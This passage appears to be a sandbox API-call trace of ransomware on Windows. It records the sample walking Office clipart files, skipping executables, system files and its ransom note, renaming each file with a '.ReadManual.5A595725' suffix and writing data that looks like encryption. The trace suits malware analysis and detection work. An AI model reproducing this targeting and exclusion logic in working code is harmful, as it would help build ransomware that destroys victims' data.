liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.934] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.936] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.936] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4bc) returned 0x2f0000 [0260.936] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.936] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38160478996) returned 1 [0260.936] CloseHandle (hObject=0x184) returned 1 [0260.936] SetSecurityInfo () returned 0x57 [0260.936] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.936] CloseHandle (hObject=0x194) returned 1 [0260.937] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x276b5e00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x276b5e00, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x804, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00439_.WMF", cAlternateFileName="")) returned 1 [0260.937] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00439_.WMF" | out: lpString1="BS00439_.WMF") returned="BS00439_.WMF" [0260.937] lstrcmpiW (lpString1="BS00439_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.937] StrStrIW (lpFirst="BS00439_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.937] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.937] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.937] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" [0260.937] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ReadManual.5A595725" [0260.937] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF.ReadManual.5A595725") returned 87 [0260.938] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38160631134) returned 1 [0260.938] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf")) returned 0x20 [0260.938] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00439_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00439_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.939] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2052) returned 1 [0260.939] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x804, lpName=0x0) returned 0x184 [0260.939] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.939] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.939] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.941] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.941] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x804) returned 0x2f0000 [0260.941] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.941] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38160996270) returned 1 [0260.941] CloseHandle (hObject=0x184) returned 1 [0260.941] SetSecurityInfo () returned 0x57 [0260.941] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.941] CloseHandle (hObject=0x194) returned 1 [0260.942] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x263a3100, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x263a3100, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x15cc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00440_.WMF", cAlternateFileName="")) returned 1 [0260.942] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00440_.WMF" | out: lpString1="BS00440_.WMF") returned="BS00440_.WMF" [0260.942] lstrcmpiW (lpString1="BS00440_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.942] StrStrIW (lpFirst="BS00440_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.942] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.942] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.942] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" [0260.943] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ReadManual.5A595725" [0260.943] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF.ReadManual.5A595725") returned 87 [0260.943] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38161136174) returned 1 [0260.943] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf")) returned 0x20 [0260.943] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00440_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00440_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.943] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=5580) returned 1 [0260.943] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15cc, lpName=0x0) returned 0x184 [0260.943] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.944] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.944] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.945] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.945] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15cc) returned 0x2f0000 [0260.946] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.946] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38161445118) returned 1 [0260.946] CloseHandle (hObject=0x184) returned 1 [0260.946] SetSecurityInfo () returned 0x57 [0260.946] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.946] CloseHandle (hObject=0x194) returned 1 [0260.947] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25090400, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x25090400, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00441_.WMF", cAlternateFileName="")) returned 1 [0260.947] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00441_.WMF" | out: lpString1="BS00441_.WMF") returned="BS00441_.WMF" [0260.947] lstrcmpiW (lpString1="BS00441_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.947] StrStrIW (lpFirst="BS00441_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.947] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.947] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.947] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" [0260.947] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ReadManual.5A595725" [0260.947] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF.ReadManual.5A595725") returned 87 [0260.947] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38161714341) returned 1 [0260.950] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf")) returned 0x20 [0260.950] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00441_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00441_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.952] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=3524) returned 1 [0260.952] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xdc4, lpName=0x0) returned 0x184 [0260.952] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.953] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.953] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.955] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.955] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xdc4) returned 0x2f0000 [0260.955] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.955] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38162380793) returned 1 [0260.955] CloseHandle (hObject=0x184) returned 1 [0260.955] SetSecurityInfo () returned 0x57 [0260.955] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.955] CloseHandle (hObject=0x194) returned 1 [0260.956] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x23d7d700, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x23d7d700, ftLastWriteTime.dwHighDateTime=0x1bd4af6, nFileSizeHigh=0x0, nFileSizeLow=0x9b8, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00442_.WMF", cAlternateFileName="")) returned 1 [0260.956] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00442_.WMF" | out: lpString1="BS00442_.WMF") returned="BS00442_.WMF" [0260.956] lstrcmpiW (lpString1="BS00442_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.956] StrStrIW (lpFirst="BS00442_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.956] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.956] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.956] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" [0260.956] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ReadManual.5A595725" [0260.956] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF.ReadManual.5A595725") returned 87 [0260.957] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38162529577) returned 1 [0260.957] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf")) returned 0x20 [0260.957] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00442_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00442_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.957] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=2488) returned 1 [0260.957] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x9b8, lpName=0x0) returned 0x184 [0260.957] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.958] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.958] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.959] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.959] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x9b8) returned 0x2f0000 [0260.959] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.959] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38162825880) returned 1 [0260.960] CloseHandle (hObject=0x184) returned 1 [0260.960] SetSecurityInfo () returned 0x57 [0260.960] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.960] CloseHandle (hObject=0x194) returned 1 [0260.960] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbb7ffa00, ftCreationTime.dwHighDateTime=0x1bd4ae3, ftLastAccessTime.dwLowDateTime=0x51aadd90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xbb7ffa00, ftLastWriteTime.dwHighDateTime=0x1bd4ae3, nFileSizeHigh=0x0, nFileSizeLow=0x68c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="BS00443_.WMF", cAlternateFileName="")) returned 1 [0260.960] lstrcpyW (in: lpString1=0x6ab90a, lpString2="BS00443_.WMF" | out: lpString1="BS00443_.WMF") returned="BS00443_.WMF" [0260.960] lstrcmpiW (lpString1="BS00443_.WMF", lpString2="RecoveryManual.html") returned -1 [0260.960] StrStrIW (lpFirst="BS00443_.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0260.960] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0260.961] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0260.961] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" [0260.961] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ReadManual.5A595725" [0260.961] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF.ReadManual.5A595725") returned 87 [0260.961] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38162975690) returned 1 [0260.961] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf")) returned 0x20 [0260.961] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\BS00443_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\bs00443_.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0260.961] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=1676) returned 1 [0260.961] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x68c, lpName=0x0) returned 0x184 [0260.962] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0260.962] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0260.962] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0260.964] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0260.964] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x68c) returned 0x2f0000 [0260.964] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0260.964] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38163293483) returned 1 [0260.964] CloseHandle (hObject=0x184) returned 1 [0260.964] SetSecurityInfo () returned 0x57 [0260.964] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0260.964] CloseHandle (hObject=0x194) returned 1 [0260.965] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x22a6aa00, ftCreationTime.dwHighDateTime=0x1bd4af6, ftLastAccessTime.dwLowDateTime=0x600aeb50, ftLastAccessTime.dwHighDateTime=0x1d301bf, 